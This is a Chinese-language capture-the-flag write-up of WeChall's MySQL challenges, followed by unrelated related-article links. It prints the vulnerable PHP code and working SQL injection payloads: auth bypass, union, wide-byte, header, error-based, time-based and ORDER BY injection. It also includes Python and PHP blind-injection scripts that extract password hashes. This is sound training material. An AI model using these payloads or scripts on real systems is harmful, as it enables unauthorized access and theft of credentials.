wechall mysql關卡題解
特別鳴謝 Random Debug Slipper 對我的無私幫助
PS:雖然是一份題解,但是其中某些題目的解法還有些不盡人意。如有更好的思路歡迎留言評論 :)
QQ:915910623
Training: MySQL I
最簡單的注入情況,引數沒有經過任何過濾就帶入查詢
漏洞程式碼:
#!php
function auth1_onLogin(WC_Challenge $chall, $username, $password)
{
$db = auth1_db();
$password = md5($password);
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth1', $chall->lang('err_unknown'), false); # Unknown user
return false;
}
# Welcome back!
echo GWF_HTML::message('Auth1', $chall->lang('msg_welcome_back', htmlspecialchars($result['username'])), false);
# Challenge solved?
if (strtolower($result['username']) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
return true;
}
利用語句:
username=admin' --
MySQL Authentication Bypass II
比較基礎的題目,和上一題不同,username password分開來驗證。通常的利用方法是使用union構造已知MD5值的查詢。
漏洞程式碼:
#!php
function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
$db = auth2_db();
$password = md5($password);
$query = "SELECT * FROM users WHERE username='$username'";
if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
return false;
}
#############################
### This is the new check ###
if ($result['password'] !== $password) {
echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
return false;
} # End of the new code ###
#############################
echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false);
if (strtolower($result['username']) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
return true;
}
利用語句:
username=wyl' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b' -- &password=1&login=Login
也可以直接使用mysql自帶的 MD5 函式來生成 hash
username=wyl' union select 1,'admin',md5('1') -- &password=1&login=Login
No Escape
一個投票的功能,使用mysql_real_escape_string()
對引數進行了過濾,不過並不需要繞過它,因為它並不會過濾重音符(backtick)
漏洞程式碼:
#!php
function noesc_voteup($who)
{
if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) {
echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false);
return;
}
$db = noesc_db();
$who = mysql_real_escape_string($who);
$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
if (false !== $db->queryWrite($query)) {
echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false);
}
noesc_stop100();
}
利用方式:
vote_for=bill` = `bill` %2b 111 where bill=0 --%20
當然也可以寫的簡短一點
barack`=111#
The Guestbook
一個留言本的程式,其中大部分引數都經過了過濾,但是IP地址直接帶入insert語句,可以構造一個x-forwraded-for來實現注入
需要在insert語句中使用select子查詢
漏洞程式碼:
#!php
function gbook_getIP()
{
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif (isset($_SERVER['HTTP_VIA'])) {
return $_SERVER['HTTP_VIA'];
}
else {
return $_SERVER['REMOTE_ADDR'];
}
}
利用方式:
頭中不能使用urlencode,末尾空格會被會忽略
X-Forwarded-For: 127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) #
如果非要使用--也可以這樣構造
X-Forwarded-For: 127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) -- a
MD5.SALT
這道題是一道簡單的注入,不過需要破解MD5,在網站上付費一下就可以了。
漏洞程式碼:
題目沒有給出原始碼
利用方式:
' union select password,2 from users --
Addslashes
這題的引數使用了Addslashes()函式進行了過濾,使用雙位元組繞過即可。
漏洞程式碼:
#!php
function asvsmysql_login($username, $password)
{
$username = addslashes($username);
$password = md5($password);
if (false === ($db = gdo_db_instance('localhost', ADDSLASH_USERNAME, ADDSLASH_PASSWORD, ADDSLASH_DATABASE, GWF_DB_TYPE, 'GBK'))) {
return htmlDisplayError('Can`t connect to database.');
}
$db->setLogging(false);
$db->setEMailOnError(false);
$query = "SELECT username FROM users WHERE username='$username' AND password='$password'";
if (false === ($result = $db->queryFirst($query))) {
return htmlDisplayError('Wrong username/password.');
}
if ($result['username'] !== 'Admin') {
return htmlDisplayError('You are logged in, but not as Admin.');
}
return htmlDisplayMessage('You are logged in. congrats!');
}
利用方式:
使用limit猜測一下,admin的位置
username=Admin%bf' union select username from users limit 1,1 --
或者直接構造一個admin出來
username=%b3%27+union+select+Char(65,100,109,105,110)/*
當然這些方法,主要是為了繞過單引號,還有一些有趣的利用
username=%bf%27 OR CONV(username,36,10) = 17431871#
Blinded by the light
盲注,引數沒用經過過濾,猜測一個32位的hash,但是要求在128次之內猜解出來,使用二分即可。
漏洞程式碼:
#!php
function blightVuln($password)
{
# Do not mess with other sessions!
if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
{
return false;
}
$db = blightDB();
$sessid = GWF_Session::getSession()->getID();
$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
return $db->queryFirst($query) !== false;
}
利用指令碼:
常規的二分盲注
#!python
import urllib
import urllib2
def doinject(payload):
url = 'http://www.wechall.net/challenge/blind_light/index.php'
values = {'injection':payload,'inject':'Inject'}
data = urllib.urlencode(values)
#print data
req = urllib2.Request(url, data)
req.add_header('cookie','WC=7205526-10787-ZSOZPXjj8gf4BE7K')
response = urllib2.urlopen(req)
the_page = response.read()
if (the_page.find("Welcome back")>0):
return True
else:
return False
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,33):
s=0
t=15
while (s<t):
if (t-s==1):
if doinject('\' or substring(password,'+str(i)+',1)=\''+wordlist[t]+'\' -- '):
m=t
break
else:
m=s
break
m=(s+t)/2
if doinject('\' or substring(password,'+str(i)+',1)>\''+wordlist[m]+'\' -- '):
s=m+1
print wordlist[s]+":"+wordlist[t]
else:
t=m
print wordlist[s]+":"+wordlist[t]
res = res+wordlist[m]
print res
使用正規表示式的盲注
#!php
$sUrl = 'http://www.wechall.net/challenge/blind_light/index.php';
$sPost = 'inject=Inject&injection=';
$sCharset = 'ABCDEF0123456789';
/* for every character */
for ($i=0, $hash=''; $i<32; ++$i) {
$ch = $sCharset;
do {
$ch1 = substr($ch, 0, intval(strlen($ch)/2));
$ch2 = substr($ch, intval(strlen($ch)/2));
$p = $sPost.'absolutelyimpossible\' OR 1=(SELECT 1 FROM blight WHERE password REGEXP \'^'.$hash.'['.$ch1.']\' AND sessid=xxx) AND \'1\'=\'1';
$res = libHTTP::POST($sUrl, $p);
if (strpos($res['content'], 'Your password is wrong') === false)
$ch = $ch1;
else
$ch = $ch2;
} while (strlen($ch) > 1);
$hash .= $ch;
echo "\rhash: ".$hash;
}
Blinded by the lighter
這題和上題相同,只不過把次數減少成為33次
漏洞程式碼:
#!php
function blightVuln($password)
{
# Do not mess with other sessions!
if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
{
return false;
}
$db = blightDB();
$sessid = GWF_Session::getSessSID();
$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
return $db->queryFirst($query) !== false;
}
利用方式:
使用基於時間的注入來判斷字元ascii碼
' or benchmark(ord(substr(password,1,1))*1000000,MD5(1))
這樣做可以提高一點精確度
' or sleep(ord(substr(password,1,1)))
ps.這題使用這種方法寫的指令碼,在精度上會出現問題,如果有什麼好的思路請留言告知~~~~
Light in the Darkness
上面兩題的加強版,只允許2次查詢。不過是返回錯誤資訊的盲注。可以使用雙查詢報錯。
漏洞程式碼:
#!php
function blightVuln($password)
{
# Do not mess with other sessions!
if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
{
return false;
}
$db = blightDB();
$sessid = GWF_Session::getSessSID();
$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
return $db->queryFirst($query) !== false;
}
利用方式:
1' or (select count(*) from information_schema.tables group by concat(password,floor(rand(0)*2))) --
我其實對這種報錯方式的原理很好奇,也很不解,有感興趣的同學歡迎指教。
下面是我對這題的幾點疑惑:
特別是使用使用者變數時,反應也很神奇,比如這題的另一種解法,不明白其中的原理。
'||(select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2))||'
我當時設想出這樣一種解法,[email protected],[email protected]
' or (@lanlan:=password) or (select 1 from(select count(*),concat(@lanlan,floor(rand(0)*2))x from information_schema.tables group by x)a) --
Are you blind?
這題也是一道盲注,可是不管對錯返回的結果一樣。可以使用order by報錯的方法來盲注。
漏洞程式碼:
#!php
function blightVuln(WC_Challenge $chall, $password, $attempt)
{
# Do not mess with other sessions!
if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
{
return $chall->lang('mawekl_blinds_you', array($attempt));
}
# And please, no timing attempts!
if ( (stripos($password, 'benchmark') !== false) || (stripos($password, 'sleep') !== false) )
{
return $chall->lang('mawekl_blinds_you', array($attempt));
}
$db = blightDB();
$sessid = GWF_Session::getSessSID();
$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
return $db->queryFirst($query) ?
$chall->lang('mawekl_blinds_you', array($attempt)) :
$chall->lang('mawekl_blinds_you', array($attempt)) ;
}
利用語句:
injection=' or if(1,1,(select 1 union select 2)) = 1 -- &inject=Inject
Order By Query
這是一個在order by後面的注入,可以直接使用雙查詢報錯來解決。也可以使用盲注的手法猜測。
漏洞程式碼:
#!php
function addslash2_sort($orderby, $dir)
{
if (false === ($db = addslash2_get_db())) {
return false;
}
static $whitelist = array(1, 3, 4, 5);
static $names = array(1 => 'Username', 3 => 'Apples', 4 => 'Bananas', 5 => 'Cherries');
$dir = GDO::getWhitelistedDirS($dir, 'DESC');
if (!in_array($orderby, $whitelist)) {
return htmlDisplayError('Error 1010101: Not in whitelist.');
}
$orderby = $db->escape($orderby);
$query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10";
if (false === ($rows = $db->queryAll($query))) {
return false;
}
$headers = array(
array('#'),
array('Username', '1', 'ASC'),
array('Apples', '3', 'DESC'),
array('Bananas', '4', 'DESC'),
array('Cherries', '5', 'DESC'),
);
echo '<div class="box box_c">'.PHP_EOL;
echo '<table>'.PHP_EOL;
echo GWF_Table::displayHeaders1($headers, GWF_WEB_ROOT.'challenge/order_by_query/index.php?by=%BY%&dir=%DIR%');
$i = 1;
foreach ($rows as $row)
{
echo GWF_Table::rowStart();
echo sprintf('<td align="right">%d</td>', $i++);
echo sprintf('<td>%s</td>', $row['username']);
echo sprintf('<td align="right">%s</td>', $row['apples']);
echo sprintf('<td align="right">%s</td>', $row['bananas']);
echo sprintf('<td align="right">%s</td>', $row['cherries']);
echo GWF_Table::rowEnd();
}
echo '</table>'.PHP_EOL;
echo '</div>'.PHP_EOL;
}
利用方式:
by=5 and (select 1 from(select count(*),concat((select password from users where username=0x41646d696e),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a) --
盲註指令碼
#!php
<?php
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_COOKIE, 'WC4_SID=xxxxxxxxxxxxxxxxxxxxxxx');
$charset = 'ABCDEF0123456789';
$hash = '';
for($i=0;$i<32;$i++)
{
$strona = '';
$index=0;
for($j=0;strpos($strona,'10</td><td>Admin') === false;$j++)
{
curl_setopt($curl, CURLOPT_URL, 'http://www.wechall.net/challenge/order_by_query/index.php?by=3,%20CASE%20username%20WHEN%200x41646d696e%20THEN%202-%28password%20REGEXP%200x5e'.$hash.dechex(ord($charset[$index++])).'%29%20ELSE%202%20END--');
$strona = curl_exec ($curl);
}
$hash .= ''.dechex(ord($charset[--$index]));
}
curl_close($curl);
echo $hash;
?>
Table Names
猜測表名和資料庫名的題目,直接查詢information_schema即可
漏洞程式碼:
沒有給出原始碼
利用方式:
得到表名
username=wyl' union select 1,2,table_name from information_schema.columns where column_name='username' limit 1,1 --
得到資料庫名
username=wyl' union select 1,2,database() --
Table Names II
這道題同樣是猜測,資料庫名和表名,不過很多關鍵詞都被過濾了。查到mysql的版本,根據文件找information_schema裡面的表, 一個一個試一下就行了。
漏洞程式碼:
#!php
<?php
$secret = require('secret.php');
chdir('../../../');
define('GWF_PAGE_TITLE', 'Table Names II');
require_once('challenge/html_head.php');
require(GWF_CORE_PATH.'module/WeChall/solutionbox.php');
if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE)))
{
$chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 6, 'challenge/nurfed/more_table_names/index.php', $secret['flag']);
}
$chall->showHeader();
$chall->onCheckSolution();
if (false !== Common::getGet('login'))
{
$username = Common::getGetString('username', '');
$password = Common::getGetString('password', '');
if (preg_match('/statistics|tables|columns|table_constraints|key_column_usage|partitions|schema_privileges|schemata|database|schema\(\)/i', $username.$password))
{
echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_match'));
}
else
{
if (false === ($db = gdo_db_instance($secret['host'], $secret['username'], $secret['password'], $secret['database'])))
{
die('Database error.');
}
$db->setVerbose(false);
$db->setLogging(false);
$db->setEMailOnError(false);
$query = "SELECT * FROM {$secret['database']}.{$secret['table_name']} WHERE username='$username' AND password='$password'";
if (false === ($result = ($db->queryFirst($query, false))))
{
echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_login_fail'));
}
else
{
echo GWF_HTML::message(GWF_PAGE_TITLE, $chall->lang('on_logged_in', array(GWF_HTML::display($result['username']), GWF_HTML::display($result['message']))));
}
}
}
?>
<div class="box box_c">
<form action="challenge.php" method="get">
<div><?php echo $chall->lang('username'); ?>: <input type="text" name="username" value="" /></div>
<div><?php echo $chall->lang('password'); ?>: <input type="text" name="password" value="" /></div>
<div><input type="submit" name="login" value="<?php echo $chall->lang('login'); ?>" /></div>
</form>
</div>
<?php
echo $chall->copyrightFooter();
require_once('challenge/html_foot.php');
利用方式:
' union select 1,2,info from information_schema.processlist-- -
Credit Card Challenge Pwned!
這題描述特別長,看了半天就是傳送一個頁面給管理員,csrf+injection。
相關文章
- 建築師解構遊戲關卡——引數化關卡設計的思考2019-10-15遊戲
- 建築師解構遊戲關卡——等角檢視探討戰棋關卡製作2019-10-31遊戲
- 建築師解構遊戲關卡——射擊遊戲關卡的區域性佈局方案2019-12-30遊戲
- 解決mysql_query()報錯的相關問題2011-04-12MySql
- 流量卡哪個最划算?解決流量卡選擇問題2022-03-22
- 建築師解構遊戲關卡:型別擴充探討吃雞關卡設計2020-03-24遊戲型別
- 建築師解構遊戲關卡——《王牌戰士》城寨關卡佔領據點地圖探究2019-10-11遊戲地圖
- windows 安裝 MongoDB 卡主問題解決2018-05-09WindowsMongoDB
- 【Mysql】關於mysql存入emoji表情的問題2016-08-22MySql
- CV關於Mysql中ON與Where區別問題詳解bua2022-03-01MySql
- 關於Mysql 4.1語言問題的完美解決方法(轉)2007-08-11MySql
- mysql相關問題總結2020-09-06MySql
- 建築師解構遊戲關卡——引數化關卡設計探討佔領據點地圖2019-11-08遊戲地圖
- 費解的開關 - 題解2024-07-29
- Mysql 關於event的詳解2022-01-10MySql
- 關於mysql連線的問題2010-07-21MySql
- 關於mysql查詢字符集不匹配問題的解決方法2021-09-09MySql
- MySQL 中文 like 問題解決2019-07-20MySql
- mysql大小寫問題解決2021-09-26MySql
- 類彈球遊戲關卡難度量化要素:關卡元素,位置,生命值2019-06-03遊戲
- Mysql關於procedure、function的詳解2022-01-10MySqlFunction
- mysql事件關閉解決辦法2018-05-04MySql事件
- 答題卡識別2024-05-04
- 遊戲關卡設計文件2024-11-06遊戲
- InternStudio關卡(Python)2024-07-11Python
- 關於 Homestead 連線 MySQL 問題2019-06-23MySql
- MySQL鎖表相關問題查詢思路2021-01-11MySql
- MySQL中鎖的相關問題DTQU2022-03-01MySql
- 關於mysql5.6 的排序問題.2017-02-10MySql排序
- 【Mysql】關於一個mysql的坑比時區問題2017-06-23MySql
- 讀卡器讀不出卡,但通過資料線方式能讀到卡,是卡有問題還是讀卡器有問題?2007-02-05
- 解決mysql8.0.13dm7資料遷移相關問題undefined2020-11-08MySqlUndefined
- 建築師解構遊戲關卡——等角檢視的探討2019-10-17遊戲
- listView懶載入解決快速拖動卡屏問題2014-06-27View
- 運用關卡結構圖分析《曠野之息》的關卡設計2020-08-06
- 遊戲開發<關卡設計Level Design>資料專題2024-08-26遊戲開發
- MySQL slow log相關引數解釋2017-10-07MySql
- 關於MySQL的一些小見解2014-03-11MySql